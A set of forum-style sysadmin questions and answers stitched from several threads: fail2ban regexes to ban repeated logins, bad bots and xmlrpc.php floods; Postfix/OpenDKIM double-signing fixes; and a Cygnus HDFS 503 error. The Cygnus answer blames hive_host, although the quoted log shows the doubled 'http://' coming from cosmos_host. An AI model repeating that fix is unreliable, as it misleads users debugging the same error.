I am trying to create a custom rule to ban users trying to log in too many times. Trigger is the word "CheckLogin" in the apache log file.
Log extract:
[03/Mar/2016:19:38:24 -0600] 186.77.136.133 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CheckLogin HTTP/1.1" -
[03/Mar/2016:19:38:24 -0600] 186.77.136.133 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login?nok=badpassword HTTP/1.1" 10570
[03/Mar/2016:19:38:27 -0600] 186.77.136.133 TLSv1.2 ECDHE-RSA-AES128-
Current filter : /etc/fail2ban/filter.d/test.conf:
[INCLUDES]
[Definition]
failregex = ^<HOST> -.*"(GET|POST|HEAD).*CheckLogin".*$
ignoreregex =
Current jail.local:
# detect password authentication failures
[test-auth-ssl]
enabled = true
port = https
filter = test
logpath = /var/log/apache2/ssl_request_log
maxretry = 3
bantime = 36000 ; 10 hrs
findtime = 360 ;
[test-auth]
enabled = true
port = http
filter = test
logpath = /var/log/apache2/access_log
maxretry = 3
bantime = 36000 ; 10 hrs
findtime = 360 ;
Must be a tricky detail in the filter failregex, but I tried various option and none worked. I can restart fail2ban without error, but external IP used for testing is never banned (trigger deos not work).
Status for the jail: test-auth-ssl
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- Journal matches:
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
Got it !
Playing around with fail2ban-regex I finally found the solution.
/etc/fail2ban/filter.d/test.conf
[INCLUDES]
[Definition]
failregex = <HOST> .*CheckLogin.*$
ignoreregex =
Also in jail.local I have had to add backend=auto since it was using systemd by default
Related
We have configured Fail2ban in Suse-Linux-Enterprise Server for Rate Limiting Bots Traffic. Below is the configuration done in jail.local file.
[apache-badbots]
enabled = true
port = http,https
filter = apache-badbots
action = iptables-allports[name=apache-badbots, port="http,https" protocol=tcp]
logpath = /var/persistent/apache2/logs/site1-access.log
findtime = 60
bantime = 600
maxretry = 1
Below is the Regex Configuration.
failregex = <HOST> -.*(EmailCollector|WebEMailExtrac|TrackBack/1\.02|sogou music spider|Googlebot/2\.1)
Below is the Log Format:
[14/Jul/2020:11:38:09 +0000] 192.168.1.14 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sessionValueLink.action?crud=s&keyValue=JsMethodName&insertValue=submitShippingAddress();&dt=Tue%20Jul%2014%202020%2017:08:09%20GMT+0530%20(India%20Standard%20Time) HTTP/1.1" 200 44 [0/1894] "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Chrome/192.168.2.1 Safari/537.36"
When I ran the Regex Test, we are getting the below result.
fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/apache-badbots.conf
Results
Failregex: 2438 total
|- #) [# of hits] regular expression
| 1) [2438] <HOST> -.*(Googlebot/2\.1)
`-
Ignoreregex: 0 total
Date template hits:
|- [# of hits] date format
| [113634] Day/MONTH/Year:Hour:Minute:Second
`-
Lines: 113634 lines, 0 ignored, 2438 matched, 111196 missed
Missed line(s): too many to print. Use --print-all-missed to print all 111196 lines
Issue is when we hit Google Bot continuously we are getting the IP Address is blocked in Log but it is not showing the Valid IPAddress and it is not blocking the bots traffic. Please find the below Log for your reference.
2020-07-14 14:17:18,330 fail2ban.filter [431]: WARNING Determined IP using DNS Lookup: 403 = ['0.0.1.147']
2020-07-14 14:17:18,330 fail2ban.filter [431]: WARNING Determined IP using DNS Lookup: 403 = ['0.0.1.147']
2020-07-14 14:17:18,612 fail2ban.actions[431]: INFO [apache-badbots] 0.0.1.147 already banned
2020-07-14 14:27:03,274 fail2ban.actions[431]: WARNING [apache-badbots] Unban 0.0.1.147
2020-07-14 14:38:40,817 fail2ban.filter [431]: WARNING Determined IP using DNS Lookup: 302 = ['0.0.1.46']
2020-07-14 14:38:41,073 fail2ban.actions[431]: WARNING [apache-badbots] Ban 0.0.1.46
2020-07-14 14:39:49,903 fail2ban.filter [431]: WARNING Determined IP using DNS Lookup: 403 = ['0.0.1.147']
2020-07-14 14:39:50,162 fail2ban.actions[431]: WARNING [apache-badbots] Ban 0.0.1.147
What mistake we have done here? How to solve the issue. I am new to fail2ban, any help will be appreciated.
We found the solution. Issue was with Regex, It was not fetching the proper IP Address from the log. We have changed to below Mentioned Regex and it is working fine.
failregex = (?:\[\]\s+)?\<HOST> [^"]*"[^"]*" \d+ \d+ [^"]*"[^"]*\b(?:EmailCollector|WebEMailExtrac|TrackBack/1\.02|sogou music spider|Googlebot/2\.1)\b
I have followed this tutorial to configure DKIM and Postfix on Debian 7 wheezy. These instructions are pretty much a standard on the interwebz.
I am using Gmail to send and receive emails using my own domain. I followed this instructions to achieve that.
My problem
I can send and receive emails but I can't manage to pass the DKIM test (at least with Gmail). After searching and struggling for a while I have come to the conclusion that the reason of my woes is that my message is getting multiple DKIM signatures (see mail.log below). And this, according to the DKIM directives is enough for the DKIM to fail.
But after reading about on how to solve the multiple signatures problem I found that absolutely all of these solutions refer to having 'amavis' installed. Thing is...I don't have it installed!
In any case these solutions mention changing postfix configurations related to the milters in master.cnf and/or main.cfn. For example, adding this to the 'receive_override_options' (again, I don't have that variable since I don't have amavis installed) should solve the issue:
receive_override_options=no_unknown_recipient_checks,no_header_body_checks,no_milters
Or, another solution is commenting global settings in main.cf...
#smtpd_milters = inet:localhost:12301
#non_smtpd_milters = inet:localhost:12301
...And then adding the milter directive to the "smtpd" and post-amavis services
for inbound authentication and outbound signing respectively:
# inbound messages from internet
# will be authenticated by OpenDKIM milter on port 12301
smtp inet n - - - - smtpd
.......
-o smtpd_milters=inet:localhost:12301
# outbound messages have been through amavis
# will be signed by OpenDKIM milter on port 12301
127.0.0.1:10025 inet n - - - - smtpd
.......
-o smtpd_milters=inet:localhost:12301
Alas, none of this works for me because I don't have the amavis installed. So what I think is happening is that the Django layer messes with Postfix somehow so the email message gets twice DKIM signed by opendkim (see mail.log below).
This is Gmail response:
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
h=message-id:date:to:from:subject:content-transfer-encoding
:mime-version:dkim-signature:arc-authentication-results;
bh=rFbauTH/rtd1+kK8TxaFUe3HjRRJjkoamWIx2IdGVtM=;
b=MKXMH0s3t4rJtnbq1NTX/3Pu7WroJ1/QcMEyAMdQQhF4pFM1imdRTA==
ARC-Authentication-Results: i=1; mx.google.com;
dkim=neutral (body hash did not verify) header.i=#domain.com header.s=mail header.b=X2M3CvND;
spf=pass (google.com: domain of error#domain.com designates 45.76.171.123 as permitted sender) smtp.mailfrom=error#domain.com
This is my mail.log. Notice how the 'DKIM signature header add' is executed two times: once after localhost connects and, another one after it reconnects again.
Aug 25 16:12:21 domain postfix/smtpd[29238]: connect from localhost[127.0.0.1]
Aug 25 16:12:21 domain postfix/smtpd[29238]: 745D37D599: client=localhost[127.0.0.1]
Aug 25 16:12:21 domain postfix/cleanup[29243]: 745D37D599: message-id=<20170825161221.28656.25384#localhost>
Aug 25 16:12:21 domain opendkim[27899]: 745D37D599: DKIM-Signature header added (s=mail, d=domain.com)
Aug 25 16:12:21 domain postfix/qmgr[29037]: 745D37D599: from=<error#domain.com>, size=44876, nrcpt=1 (queue active)
Aug 25 16:12:21 domain postfix/smtpd[29238]: disconnect from localhost[127.0.0.1]
Aug 25 16:12:21 domain postfix/smtpd[29238]: connect from localhost[127.0.0.1]
Aug 25 16:12:21 domain postfix/smtpd[29238]: 8E8287D5C0: client=localhost[127.0.0.1]
Aug 25 16:12:21 domain postfix/cleanup[29243]: 8E8287D5C0: message-id=<20170825161221.28656.34673#localhost>
Aug 25 16:12:21 domain opendkim[27899]: 8E8287D5C0: DKIM-Signature header added (s=mail, d=domain.com)
Aug 25 16:12:21 domain postfix/qmgr[29037]: 8E8287D5C0: from=<error#domain.com>, size=44876, nrcpt=1 (queue active)
Aug 25 16:12:21 domain postfix/smtpd[29238]: disconnect from localhost[127.0.0.1]
Aug 25 16:12:22 domain postfix/smtp[29244]: 745D37D599: to=<user#gmail.com>, orig_to=<error#domain.com>, relay=gmail-smtp-in.l.google.com[74.125.28.26]:25, delay=0.61, delays=0.05/0.02/0.12/0.41, dsn=2.0.0, status=sent (250 2.0.0 OK 1503677542 r29si5009980pfd.56 - gsmtp)
Aug 25 16:12:22 domain postfix/qmgr[29037]: 745D37D599: removed
Aug 25 16:12:22 domain postfix/smtp[29245]: 8E8287D5C0: to=<user#gmail.com>, orig_to=<error#domain.com>, relay=gmail-smtp-in.l.google.com[74.125.28.26]:25, delay=0.51, delays=0.05/0.01/0.09/0.36, dsn=2.0.0, status=sent (250 2.0.0 OK 1503677542 t196si4944733pgc.158 - gsmtp)
Aug 25 16:12:22 domain postfix/qmgr[29037]: 8E8287D5C0: removed
Probably the localhost user seen in the mail.log is the one set up in my Django's settings.py
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
EMAIL_HOST = 'localhost'
EMAIL_PORT = 25
EMAIL_HOST_USER = ''
EMAIL_HOST_PASSWORD = ''
EMAIL_USE_TLS = False
My /etc/postfix/master.cf
smtp inet n - - - - smtpd
pickup fifo n - - 60 1 pickup
cleanup unix n - - - 0 cleanup
qmgr fifo n - n 300 1 qmgr
tlsmgr unix - - - 1000? 1 tlsmgr
rewrite unix - - - - - trivial-rewrite
bounce unix - - - - 0 bounce
defer unix - - - - 0 bounce
trace unix - - - - 0 bounce
verify unix - - - - 1 verify
flush unix n - - 1000? 0 flush
proxymap unix - - n - - proxymap
proxywrite unix - - n - 1 proxymap
smtp unix - - - - - smtp
relay unix - - - - - smtp
showq unix n - - - - showq
error unix - - - - - error
retry unix - - - - - error
discard unix - - - - - discard
local unix - n n - - local
virtual unix - n n - - virtual
lmtp unix - - - - - lmtp
anvil unix - - - - 1 anvil
scache unix - - - - 1 scache
maildrop unix - n n - - pipe
flags=DRhu user=vmail argv=/usr/bin/maildrop -d ${recipient}
uucp unix - n n - - pipe
flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient)
ifmail unix - n n - - pipe
flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)
bsmtp unix - n n - - pipe
flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -t$nexthop -f$sender $recipient
scalemail-backend unix - n n - 2 pipe
flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store ${nexthop} ${user} ${extension}
mailman unix - n n - - pipe
flags=FR user=list argv=/usr/lib/mailman/bin/postfix-to-mailman.py
${nexthop} ${user}
My /etc/postfix/main.cf
smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no
append_dot_mydomain = no
readme_directory = no
smtpd_tls_cert_file = /etc/postfix/server.pem
smtpd_tls_key_file = $smtpd_tls_cert_file
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
myhostname = automatones.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = localhost.localdomain, localhost, domain.com
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = ipv4
virtual_alias_maps = hash:/etc/postfix/virtual
smtpd_sasl_type = dovecot
smtpd_sasl_auth_enable = yes
queue_directory = /var/spool/postfix
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_sasl_type = dovecot
milter_protocol = 2
milter_default_action = accept
smtpd_milters = inet:localhost:12301
non_smtpd_milters = inet:localhost:12301
virtual_alias_domains = domain.com
My http://dkimvalidator.com/results:
SpamAssassin Score: 0.472
Message is NOT marked as spam
Points breakdown:
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid
0.4 RDNS_DYNAMIC Delivered to internal network by host with
dynamic-looking rDNS
0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid
So how can I tweak the postfix configuration for not to trigger the multiple DKMI header signature additions I see in the mail.log? Or how do I configure Django settings for not to trigger this connect and reconnect behaviour?
Any pointers, ideas or suggestions are welcome!
Edit: I found this note in the README file of OPENDMARC Could I get a solution out of this? If so, how can I start implementing it?
(c) If you have a content filter in master.cf that feeds it back into a different smtpd process, you should alter the second smtpd process in master.cf to contain '-o receive_override_options=no_milters' to prevent messages being signed or verified twice. For tips on avoiding DKIM signature breakage, see: http://www.postfix.org/MILTER_README.html#workarounds
I managed to fix this some time ago after several trails and errors. Problem is I don't remember what exactly I did to solve it. I was playing with several parameters -sometimes simultaneously- without keeping any track (my bad). However, at some point everything worked!
Here are my configuration files. Hope they can guide/help someone.
/etc/postfix/master.cf
#
# Postfix master process configuration file. For details on the format
# of the file, see the master(5) manual page (command: "man 5 master").
#
# Do not forget to execute "postfix reload" after editing this file.
#
# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=spamassassin
#smtp inet n - - - 1 postscreen
#smtpd pass - - - - - smtpd
#dnsblog unix - - - - 0 dnsblog
#tlsproxy unix - - - - 0 tlsproxy
submission inet n - - - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o smtpd_recipient_restrictions=permit_mynetworks,permit_sasl_authenticated,reject
-o milter_macro_daemon_name=ORIGINATING
-o content_filter=spamassassin
-o smtpd_sasl_type=dovecot
-o smtpd_sasl_path=private/auth
smtps inet n - - - - smtpd
-o syslog_name=postfix/smtps
-o smtpd_tls_wrappermode=yes
-o smtpd_sasl_auth_enable=yes
-o smtpd_client_restrictions=permit_sasl_authenticated,reject
-o milter_macro_daemon_name=ORIGINATING
-o content_filter=spamassassin
#628 inet n - - - - qmqpd
pickup fifo n - - 60 1 pickup
cleanup unix n - - - 0 cleanup
qmgr fifo n - n 300 1 qmgr
#qmgr fifo n - n 300 1 oqmgr
tlsmgr unix - - - 1000? 1 tlsmgr
rewrite unix - - - - - trivial-rewrite
bounce unix - - - - 0 bounce
defer unix - - - - 0 bounce
trace unix - - - - 0 bounce
verify unix - - - - 1 verify
flush unix n - - 1000? 0 flush
proxymap unix - - n - - proxymap
proxywrite unix - - n - 1 proxymap
smtp unix - - - - - smtp
relay unix - - - - - smtp
# -o smtp_helo_timeout=5 -o smtp_connect_timeout=5
showq unix n - - - - showq
error unix - - - - - error
retry unix - - - - - error
discard unix - - - - - discard
local unix - n n - - local
virtual unix - n n - - virtual
lmtp unix - - - - - lmtp
anvil unix - - - - 1 anvil
scache unix - - - - 1 scache
#
# ====================================================================
# Interfaces to non-Postfix software. Be sure to examine the manual
# pages of the non-Postfix software to find out what options it wants.
#
# Many of the following services use the Postfix pipe(8) delivery
# agent. See the pipe(8) man page for information about ${recipient}
# and other message envelope options.
# ====================================================================
#
# maildrop. See the Postfix MAILDROP_README file for details.
# Also specify in main.cf: maildrop_destination_recipient_limit=1
#
maildrop unix - n n - - pipe
flags=DRhu user=vmail argv=/usr/bin/maildrop -d ${recipient}
#
# ====================================================================
#
# Recent Cyrus versions can use the existing "lmtp" master.cf entry.
#
# Specify in cyrus.conf:
# lmtp cmd="lmtpd -a" listen="localhost:lmtp" proto=tcp4
#
# Specify in main.cf one or more of the following:
# mailbox_transport = lmtp:inet:localhost
# virtual_transport = lmtp:inet:localhost
#
# ====================================================================
#
# Cyrus 2.1.5 (Amos Gouaux)
# Also specify in main.cf: cyrus_destination_recipient_limit=1
#
#cyrus unix - n n - - pipe
# user=cyrus argv=/cyrus/bin/deliver -e -r ${sender} -m ${extension} ${user}
#
# ====================================================================
# Old example of delivery via Cyrus.
#
#old-cyrus unix - n n - - pipe
# flags=R user=cyrus argv=/cyrus/bin/deliver -e -m ${extension} ${user}
#
# ====================================================================
#
# See the Postfix UUCP_README file for configuration details.
#
uucp unix - n n - - pipe
flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient)
#
# Other external delivery methods.
#
ifmail unix - n n - - pipe
flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient)
bsmtp unix - n n - - pipe
flags=Fq. user=bsmtp argv=/usr/lib/bsmtp/bsmtp -t$nexthop -f$sender $recipient
scalemail-backend unix - n n - 2 pipe
flags=R user=scalemail argv=/usr/lib/scalemail/bin/scalemail-store ${nexthop} ${user} ${extension}
mailman unix - n n - - pipe
flags=FR user=list argv=/usr/lib/mailman/bin/postfix-to-mailman.py
${nexthop} ${user}
dovecot unix - n n - - pipe
flags=DRhu user=email:email argv=/usr/lib/dovecot/deliver -f ${sender} -d ${recipient}
policy-spf unix - n n - - spawn
user=nobody argv=/usr/bin/policyd-spf
spamassassin unix - n n - - pipe
user=debian-spamd argv=/usr/bin/spamc -f -e /usr/sbin/sendmail -oi -f ${sender} ${recipient}
/etc/postfix/main.cf
# See /usr/share/postfix/main.cf.dist for a commented, more complete version
# Debian specific: Specifying a file name will cause the first
# line of that file to be used as the name. The Debian default
# is /etc/mailname.
#myorigin = /etc/mailname
smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no
# appending .domain is the MUA's job.
append_dot_mydomain = no
# Uncomment the next line to generate "delayed mail" warnings
#delay_warning_time = 4h
readme_directory = no
# Network information
myhostname = mail.mysite.com
mydomain = mysite.com
myorigin = /etc/mailname
mydestination = $myhostname, $mydomain, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
# Local alias map
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
queue_directory=/var/spool/postfix
# SSL
smtpd_tls_cert_file = /etc/letsencrypt/live/mail.mysite.com/fullchain.pem
smtpd_tls_key_file = /etc/letsencrypt/live/mail.mysite.com/privkey.pem
smtpd_use_tls=yes
smtpd_tls_auth_only=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
smtpd_tls_security_level = may
smtp_tls_security_level = may
smtp_tls_loglevel = 1
smtpd_tls_loglevel = 1
smtpd_tls_protocols = !SSLv2, !SSLv3
# SPF
policy-spf_time_limit = 3600s
# https://www.digitalocean.com/community/tutorials/how-to-set-up-a-postfix-e-mail-server-with-dovecot
#local_recipient_maps = proxy:unix:passwd.byname $alias_maps
# Virtual alias mapping
virtual_alias_domains = $mydomain
virtual_alias_maps = hash:/etc/postfix/virtual
# Mail will be stored in users ~/Maildir directories
home_mailbox = Maildir/
mailbox_command =
# From http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
# DKIM & DMARC
milter_default_action = accept
milter_protocol = 6
smtpd_milters = inet:127.0.0.1:12345, inet:127.0.0.1:8893
non_smtpd_milters = inet:127.0.0.1:12345, inet:127.0.0.1:8893
# Require a valid HELO or EHLO command with a fully qualified domain name to stop common spambots
smtpd_helo_required = yes
smtpd_helo_restrictions = reject_non_fqdn_helo_hostname,reject_invalid_helo_hostname,reject_unknown_helo_hostname
# Disable the VRFY command
disable_vrfy_command = yes
# Reject message to allow Postfix to log recipient address information when the connected client breaks any of the reject rules
smtpd_delay_reject = yes
# Reject connections from made up addresses that do not use a FQDN or don't exist. Add external spam filters like Spamhaus or CBL blacklists
# Also add SPF policy (after reject_unauth_destination and after permit_sasl_authenticated)
smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination,check_policy_service unix:private/policy-spf,reject_invalid_hostname,reject_non_fqdn_hostname,reject_non_fqdn_sender,reject_non_fqdn_recipient,reject_unknown_sender_domain,reject_rbl_client sbl.spamhaus.org,reject_rbl_client cbl.abuseat.org
# https://serverfault.com/questions/559088/postfix-not-accepting-relay-from-localhost
default_transport = smtp
relay_transport = relay
I try to protect my serveur from xmlrpc.php ddos.
I use fail2ban, but the regex I found dont seems to be ok. Can you have a look:
This is the log:
Aug 2 17:33:11 myserver pound: my.web.site 188.209.49.38 - -
[02/Aug/2015:17:33:11 +0200] "POST /xmlrpc.php HTTP/1.0" 404 410 ""
"Mozilla/5.0 (compatible; Googlebot/2.1;
http://www.google.com/bot.html)"
Aug 2 16:27:49 myserver pound:
(7fec610c5700) e503 no back-end "POST /xmlrpc.php HTTP/1.0" from
185.62.188.25
filter.d/xmlrpc.conf
[Definition]
failregex = ^<HOST> .*POST .*xmlrpc\.php.*
ignoreregex =
jail.local
[xmlrpc]
enabled = true
filter = xmlrpc
action = iptables[name=xmlrpc, port=http, protocol=tcp]
logpath = /var/log/pound.log
bantime = 43600
maxretry = 2
And the test
fail2ban-regex /var/log/pound.log /etc/fail2ban/filter.d/xmlrpc.conf
/usr/share/fail2ban/server/filter.py:442: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5
Running tests
=============
Use regex file : /etc/fail2ban/filter.d/xmlrpc.conf
Use log file : /var/log/pound.log
Results
=======
Failregex
|- Regular expressions:
| [1] ^<HOST> .*POST .*xmlrpc\.php.*
|
`- Number of matches:
[1] 0 match(es)
Ignoreregex
|- Regular expressions:
|
`- Number of matches:
Summary
=======
Sorry, no match
Look at the above section 'Running tests' which could contain important
information.
root#myserver:/etc/fail2ban#
Any idea?
Thks
I edited the type format, so I have now this kind of log
Aug 3 06:25:51 ns111111 pound: 141.101.96.94 POST /xmlrpc.php HTTP/1.1 - HTTP/1.1 200 OK
So I tried this, and it's ok :
fail2ban-regex 'Aug 3 06:25:51 ns111111 pound: 141.101.96.94 POST /xmlrpc.php HTTP/1.1 - HTTP/1.1 200 OK' 'ns111111 pound: <HOST> .*POST .*xmlrpc\.php.*'
I have an Orion instance with Cygnus at filab; subcription and notify run fine but I can not persist data to cosmos.lab.fi-ware.org.
Cygnus returns this error:
[ERROR - es.tid.fiware.fiwareconnectors.cygnus.sinks.OrionSink.process(OrionSink.java:139)] Persistence error (The talky/talkykar/room6_room directory could not be created in HDFS. HttpFS response: 503 Service unavailable)
This is my agent_a.conf file:
cygnusagent.sources = http-source
cygnusagent.sinks = hdfs-sink
cygnusagent.channels = hdfs-channel
#=============================================
# source configuration
# channel name where to write the notification events
cygnusagent.sources.http-source.channels = hdfs-channel
# source class, must not be changed
cygnusagent.sources.http-source.type = org.apache.flume.source.http.HTTPSource
# listening port the Flume source will use for receiving incoming notifications
cygnusagent.sources.http-source.port = 5050
# Flume handler that will parse the notifications, must not be changed
cygnusagent.sources.http-source.handler = es.tid.fiware.fiwareconnectors.cygnus.handlers.OrionRestHandler
# URL target
cygnusagent.sources.http-source.handler.notification_target = /notify
# Default service (service semantic depends on the persistence sink)
cygnusagent.sources.http-source.handler.default_service = talky
# Default service path (service path semantic depends on the persistence sink)
cygnusagent.sources.http-source.handler.default_service_path = talkykar
# Number of channel re-injection retries before a Flume event is definitely discarded (-1 means infinite retries)
cygnusagent.sources.http-source.handler.events_ttl = 10
# Source interceptors, do not change
cygnusagent.sources.http-source.interceptors = ts de
# Timestamp interceptor, do not change
cygnusagent.sources.http-source.interceptors.ts.type = timestamp
# Destination extractor interceptor, do not change
cygnusagent.sources.http-source.interceptors.de.type = es.tid.fiware.fiwareconnectors.cygnus.interceptors.DestinationExtractor$Builder
# Matching table for the destination extractor interceptor, put the right absolute path to the file if necessary
# See the doc/design/interceptors document for more details
cygnusagent.sources.http-source.interceptors.de.matching_table = /usr/cygnus/conf/matching_table.conf
# ============================================
# OrionHDFSSink configuration
# channel name from where to read notification events
cygnusagent.sinks.hdfs-sink.channel = hdfs-channel
# sink class, must not be changed
cygnusagent.sinks.hdfs-sink.type = es.tid.fiware.fiwareconnectors.cygnus.sinks.OrionHDFSSink
# Comma-separated list of FQDN/IP address regarding the Cosmos Namenode endpoints
# If you are using Kerberos authentication, then the usage of FQDNs instead of IP addresses is mandatory
cygnusagent.sinks.hdfs-sink.cosmos_host = http://cosmos.lab.fi-ware.org
# port of the Cosmos service listening for persistence operations; 14000 for httpfs, 50070 for webhdfs and free choice for inifinty
cygnusagent.sinks.hdfs-sink.cosmos_port = 14000
# default username allowed to write in HDFS
cygnusagent.sinks.hdfs-sink.cosmos_default_username = myuser
# default password for the default username
cygnusagent.sinks.hdfs-sink.cosmos_default_password = mypass
# HDFS backend type (webhdfs, httpfs or infinity)
cygnusagent.sinks.hdfs-sink.hdfs_api = httpfs
# how the attributes are stored, either per row either per column (row, column)
cygnusagent.sinks.hdfs-sink.attr_persistence = row
# Hive FQDN/IP address of the Hive server
cygnusagent.sinks.hdfs-sink.hive_host = http://cosmos.lab.fi-ware.org
# Hive port for Hive external table provisioning
cygnusagent.sinks.hdfs-sink.hive_port = 10000
# Kerberos-based authentication enabling
cygnusagent.sinks.hdfs-sink.krb5_auth = false
# Kerberos username
cygnusagent.sinks.hdfs-sink.krb5_auth.krb5_user = krb5_username
# Kerberos password
cygnusagent.sinks.hdfs-sink.krb5_auth.krb5_password = xxxxxxxxxxxxx
# Kerberos login file
cygnusagent.sinks.hdfs-sink.krb5_auth.krb5_login_conf_file = /usr/cygnus/conf/krb5_login.conf
# Kerberos configuration file
cygnusagent.sinks.hdfs-sink.krb5_auth.krb5_conf_file = /usr/cygnus/conf/krb5.conf
#=============================================
And this is the Cygnus log:
2015-05-04 09:05:10,434 (SinkRunner-PollingRunner-DefaultSinkProcessor) [INFO - es.tid.fiware.fiwareconnectors.cygnus.sinks.OrionHDFSSink.persist(OrionHDFSSink.java:315)] [hdfs-sink] Persisting data at OrionHDFSSink. HDFS file (talky/talkykar/room6_room/room6_room.txt), Data ({"recvTimeTs":"1430723069","recvTime":"2015-05-04T09:04:29.819","entityId":"Room6","entityType":"Room","attrName":"temperature","attrType":"float","attrValue":"26.5","attrMd":[]})
2015-05-04 09:05:10,435 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - es.tid.fiware.fiwareconnectors.cygnus.backends.hdfs.HDFSBackendImpl.doHDFSRequest(HDFSBackendImpl.java:255)] HDFS request: PUT http://http://cosmos.lab.fi-ware.org:14000/webhdfs/v1/user/mped.mlg/talky/talkykar/room6_room?op=mkdirs&user.name=mped.mlg HTTP/1.1
2015-05-04 09:05:10,435 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - org.apache.http.impl.conn.PoolingClientConnectionManager.requestConnection(PoolingClientConnectionManager.java:186)] Connection request: [route: {}->http://http][total kept alive: 0; route allocated: 0 of 100; total allocated: 0 of 500]
2015-05-04 09:05:10,435 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - org.apache.http.impl.conn.PoolingClientConnectionManager.leaseConnection(PoolingClientConnectionManager.java:220)] Connection leased: [id: 21][route: {}->http://http][total kept alive: 0; route allocated: 1 of 100; total allocated: 1 of 500]
2015-05-04 09:05:10,435 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - org.apache.http.impl.conn.DefaultClientConnection.close(DefaultClientConnection.java:169)] Connection org.apache.http.impl.conn.DefaultClientConnection#5700187d closed
2015-05-04 09:05:10,435 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - org.apache.http.impl.conn.DefaultClientConnection.shutdown(DefaultClientConnection.java:154)] Connection org.apache.http.impl.conn.DefaultClientConnection#5700187d shut down
2015-05-04 09:05:10,436 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - org.apache.http.impl.conn.PoolingClientConnectionManager.releaseConnection(PoolingClientConnectionManager.java:272)] Connection [id: 21][route: {}->http://http] can be kept alive for 9223372036854775807 MILLISECONDS
2015-05-04 09:05:10,436 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - org.apache.http.impl.conn.DefaultClientConnection.close(DefaultClientConnection.java:169)] Connection org.apache.http.impl.conn.DefaultClientConnection#5700187d closed
2015-05-04 09:05:10,436 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - org.apache.http.impl.conn.PoolingClientConnectionManager.releaseConnection(PoolingClientConnectionManager.java:278)] Connection released: [id: 21][route: {}->http://http][total kept alive: 0; route allocated: 0 of 100; total allocated: 0 of 500]
2015-05-04 09:05:10,436 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - es.tid.fiware.fiwareconnectors.cygnus.backends.hdfs.HDFSBackendImpl.doHDFSRequest(HDFSBackendImpl.java:191)] The used HDFS endpoint is not active, trying another one (host=http://cosmos.lab.fi-ware.org)
2015-05-04 09:05:10,436 (SinkRunner-PollingRunner-DefaultSinkProcessor) [ERROR - es.tid.fiware.fiwareconnectors.cygnus.sinks.OrionSink.process(OrionSink.java:139)] Persistence error (The talky/talkykar/room6_room directory could not be created in HDFS. HttpFS response: 503 Service unavailable)
Thanks.
If you take a look to this log:
2015-05-04 09:05:10,435 (SinkRunner-PollingRunner-DefaultSinkProcessor) [DEBUG - es.tid.fiware.fiwareconnectors.cygnus.backends.hdfs.HDFSBackendImpl.doHDFSRequest(HDFSBackendImpl.java:255)] HDFS request: PUT http://http://cosmos.lab.fi-ware.org:14000/webhdfs/v1/user/mped.mlg/talky/talkykar/room6_room?op=mkdirs&user.name=mped.mlg HTTP/1.1
You will se your are trying to create a HDFS directory by using a http://http://cosmos.lab... URL (please, notice the double http://http://).
This is becasuse you have configured:
cygnusagent.sinks.hdfs-sink.hive_host = http://cosmos.lab.fi-ware.org
Instead of:
cygnusagent.sinks.hdfs-sink.hive_host = cosmos.lab.fi-ware.org
Such a parameter asks for a host, not a URL.
Being said that, in future releases we will allow for both encodings.
